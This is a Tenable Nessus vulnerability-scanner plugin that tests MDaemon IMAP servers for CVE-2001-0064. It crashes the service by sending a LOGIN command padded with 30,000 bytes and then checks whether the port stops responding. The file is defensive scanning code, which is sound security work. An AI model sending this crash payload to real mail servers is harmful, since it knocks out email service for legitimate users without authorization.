code | #
# (C) Tenable Network Security, Inc.
#
include("compat.inc");
if (description)
{
script_id(14826);
script_version("1.21");
script_cvs_date("Date: 2018/11/15 20:50:27");
script_cve_id("CVE-2001-0064");
script_bugtraq_id(2134);
script_name(english:"MDaemon Webconfig IMAP Malformed URL DoS");
script_summary(english:"Crashes the remote imap server");
script_set_attribute(attribute:"synopsis", value:
"The remote mail server is affected by a denial of service
vulnerability.");
script_set_attribute(attribute:"description", value:
"The remote host is running the MDaemon IMAP server.
It is possible to crash the remote version of this software sending a
long argument to the 'LOGIN' command.
This problem allows an attacker to make the remote service crash, thus
preventing legitimate users from receiving emails.");
script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2000/Dec/352");
script_set_attribute(attribute:"solution", value:"There is no known solution at this time.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
script_set_cvss_temporal_vector("CVSS2#E:U/RL:U/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
script_set_attribute(attribute:"exploit_available", value:"false");
script_set_attribute(attribute:"vuln_publication_date", value:"2000/12/19");
script_set_attribute(attribute:"plugin_publication_date", value:"2004/09/27");
script_set_attribute(attribute:"potential_vulnerability", value:"true");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();
script_category(ACT_DENIAL);
script_copyright(english:"This script is Copyright (C) 2004-2018 Tenable Network Security, Inc.");
script_family(english:"Windows");
script_dependencie("find_service1.nasl", "sendmail_expn.nasl");
script_require_keys("Settings/ParanoidReport");
script_require_ports("Services/imap", 143);
exit(0);
}
include("audit.inc");
include("global_settings.inc");
if (report_paranoia < 2) audit(AUDIT_PARANOID);
port = get_kb_item("Services/imap");
if(!port)port = 143;
acct = get_kb_item("imap/login");
pass = get_kb_item("imap/password");
if((acct == "")||(pass == ""))exit(0);
if(get_port_state(port))
{
soc = open_sock_tcp(port);
if(soc)
{
banner = recv_line(socket:soc, length:4096);
if ("MDaemon" >!< banner ) exit(0);
s = string("? LOGIN ", acct, " ", pass, " ", crap(30000), "\r\n");
send(socket:soc, data:s);
d = recv_line(socket:soc, length:4096);
close(soc);
soc2 = open_sock_tcp(port);
if(!soc2)security_warning(port);
else close(soc2);
}
}
|